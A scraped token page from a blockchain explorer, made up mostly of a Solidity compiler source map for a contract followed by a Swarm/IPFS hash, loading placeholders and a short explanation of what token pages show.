2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5907:306::-;5995:6;6003;6011;6064:2;6052:9;6043:7;6039:23;6035:32;6032:52;;;6080:1;6077;6070:12;6032:52;6109:9;6103:16;6093:26;;6159:2;6148:9;6144:18;6138:25;6128:35;;6203:2;6192:9;6188:18;6182:25;6172:35;;5907:306;;;;;:::o;6497:277::-;6564:6;6617:2;6605:9;6596:7;6592:23;6588:32;6585:52;;;6633:1;6630;6623:12;6585:52;6665:9;6659:16;6718:5;6711:13;6704:21;6697:5;6694:32;6684:60;;6740:1;6737;6730:12;9161:125;9226:9;;;9247:10;;;9244:36;;;9260:18;;:::i;9646:135::-;9685:3;9706:17;;;9703:43;;9726:18;;:::i;:::-;-1:-1:-1;9773:1:1;9762:13;;9646:135::o;9786:128::-;9853:9;;;9874:11;;;9871:37;;;9888:18;;:::i;10051:127::-;10112:10;10107:3;10103:20;10100:1;10093:31;10143:4;10140:1;10133:15;10167:4;10164:1;10157:15;10183:251;10253:6;10306:2;10294:9;10285:7;10281:23;10277:32;10274:52;;;10322:1;10319;10312:12;10274:52;10354:9;10348:16;10373:31;10398:5;10373:31;:::i;10439:980::-;10701:4;10749:3;10738:9;10734:19;10780:6;10769:9;10762:25;10806:2;10844:6;10839:2;10828:9;10824:18;10817:34;10887:3;10882:2;10871:9;10867:18;10860:31;10911:6;10946;10940:13;10977:6;10969;10962:22;11015:3;11004:9;11000:19;10993:26;;11054:2;11046:6;11042:15;11028:29;;11075:1;11085:195;11099:6;11096:1;11093:13;11085:195;;;11164:13;;-1:-1:-1;;;;;11160:39:1;11148:52;;11255:15;;;;11220:12;;;;11196:1;11114:9;11085:195;;;-1:-1:-1;;;;;;;11336:32:1;;;;11331:2;11316:18;;11309:60;-1:-1:-1;;;11400:3:1;11385:19;11378:35;11297:3;10439:980;-1:-1:-1;;;10439:980:1:o;11424:217::-;11464:1;11490;11480:132;;11534:10;11529:3;11525:20;11522:1;11515:31;11569:4;11566:1;11559:15;11597:4;11594:1;11587:15;11480:132;-1:-1:-1;11626:9:1;;11424:217::o
Swarm Source
ipfs://ce01676505b91d72daa946027f734f6da7eccbb64d7536f7cb85408dac327637
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.